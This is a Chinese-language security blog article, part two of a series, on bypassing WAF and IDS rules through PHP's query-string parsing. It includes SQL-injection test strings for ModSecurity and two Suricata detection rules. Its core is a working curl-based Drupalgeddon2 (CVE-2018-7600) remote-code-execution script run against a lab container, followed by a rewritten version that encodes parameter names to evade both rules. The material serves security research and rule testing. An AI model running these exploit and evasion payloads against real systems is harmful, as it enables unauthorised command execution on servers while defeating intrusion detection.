利用PHP的字符串解析特性Bypass( 二 )


幸运的是,在ModSecurity中,可以通过正则表达式指定查询字符串中的参数 。
 
比如:
SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"以上规则将拦截诸如以下的请求:
??/?news[id=1%22+AND+1=1--'??/?news%5bid=1%22+AND+1=1--'??/?news_id%00=1%22+AND+1=1--' Poc //GTFO 让我们用Suricata和Drupal CMS创建一个以利用CVE-2018-7600(Drupalgeddon2远程执行代码)的简单PoC 。
为了简单起见,我将在两个Docker容器上运行Suricata和Drupal,并尝试绕过Suricata攻击Drupal 。
 
我将使用两条Suricata防御规则:

1.一条自定义规则拦截form_id=user_register_form
2.另一条是关于CVE-2018-7600的通用规则Suricata官方安装流程点击[这里](https://redmine.openinfosecfoundation.org/projects/suricata/wiki/Ubuntu_Installation_-_Personal_Package_Archives_(PPA) 。
对于Drupal,我运行了一个Vulhub容器,你可以在这里下载:
 
利用PHP的字符串解析特性Bypass

文章插图
 
 
首先,让我们尝试利用CVE-2018-7600 。一个利用curl命令的小型bash脚本,比如:
#!/bin/bashURL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrApper_format=drupal_ajax"QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="COMMAND="id"curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"如你所见,上面的脚本将执行命令id:
利用PHP的字符串解析特性Bypass

文章插图
 
现在,让我们尝试往Suricata导入以下两条规则:我编写了第一个规则,它只是尝试form_id=user_register_form在请求体内进行匹配;
Positive Technology /user/register在请求URL和#post_render请求正文中写了第二个匹配项 。
我的规则:
alert http any any -> $HOME_NET any (msg: "Possible Drupalgeddon2 attack";flow: established, to_server;content: "/user/register"; http_uri;content: "POST"; http_method;pcre: "/form_id=user_register_form/Pi";sid: 10002807;rev: 1;)通用规则:
alert http any any -> $HOME_NET any (msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)";flow: established, to_server;content: "/user/register"; http_uri;content: "POST"; http_method;content: "drupal"; http_client_body;pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi";reference: cve, 2018-7600;reference: url, research.checkpoint.com/uncovering-drupalgeddon-2;classtype: attempted-admin;reference: url, github.com/ptresearch/AttackDetection;metadata: Open Ptsecurity.com ruleset;sid: 10002808;rev: 2; )在重启Suricata后,我的攻击被成功报警:
可以看到,我们得到了两条日志:
1.ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
2.Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
 
Bypass! 
这两条规则其实都很容易绕过 。首先,对于敏感字段form_id=user_register_form,我们可将其替换为如下内容:
form%5bid=user_register_form如上图所见,现在只有通用规则的警报 。
分析通用规则的正则表达式,我们可以看到它对#和%23敏感,但不涉及下划线的编码 。
因此,我们可以使用post%5frender代替post_render来绕过:
 
最后得出可绕过两个规则的PoC:
#!/bin/bashURL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="COMMAND="id"curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL" 
作者:周大涛

【利用PHP的字符串解析特性Bypass】


推荐阅读